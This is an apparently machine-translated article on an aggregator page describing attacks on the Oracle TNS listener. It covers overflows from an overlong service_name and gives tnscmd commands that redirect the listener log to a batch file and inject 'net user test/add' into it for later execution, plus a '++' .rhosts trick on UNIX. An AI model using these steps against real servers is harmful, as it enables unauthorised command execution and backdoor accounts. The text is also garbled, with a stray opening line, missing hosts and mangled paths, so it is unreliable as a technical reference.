Measure the test taker's knowledge about the TNS listener attack methods against Oracle.

Source: Internet
Author: User

First, according to different versions, TNS listener may be vulnerable to multiple types of buffer overflow attacks, which can be exploited without providing user IDs and passwords. For example, in oracle 9i, when a client requests an excessively long service_name, it is vulnerable to overflow attacks. After the listener constructs an error message for the log, the value of service_name will be copied to a buffer in the stack structure, resulting in overflow-overwrite and save value will return the stack address. This can allow attackers to gain control. In fact, TNS listener has been prone to multiple overflow and formatting of strings.

Second, another type of attacks are related to log files. The attack is valid only when no password is set for listener.

Assume that no password is set for a listener. The attack method is as follows:

Tnscmd-h-p 1521-rawcmd "(DESCRIPTION = (CONNECT_DATA = (CID = (PROGRAM =) (HOST =) (USER =) (COMMAND = log_directory) (ARGUMENTS = 4) (SERVICE = LISTENER) (VERSION = 1) (VALUE = c: \) "set the log directory to disk c

Tnscmd-h-p 1521-rawcmd "(DESCRIPTION = (CONNECT_DATA = (CID = (PROGRAM =) (HOST =) (USER =) (COMMAND = log_file) (ARGUMENTS = 4) (SERVICE = LISTENER) (VERSION = 1) (VALUE = test. bat) "to set the log file to test. bat


Tnscmd-h-rawcmd "(CONNECT_DATA = (| dir> test.txt | net user test/add )"

Dir> test.txt, net user test/add command write c: est. bat file, because of the double vertical line (after the first command fails to be executed, the WINDOWS Command Interpreter executes the following command) to comment out the error information, so that we can execute the command we submitted.

By setting log files to different directories, such as WINDOWS Startup directories, when the server is restarted, specific code submitted by malicious users is executed, which threatens the system.


Oracle running on UNIX systems is also under the same threat. One of the methods is to send "++" Back To The. rhost file. When the system is running, use the r * services Command.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.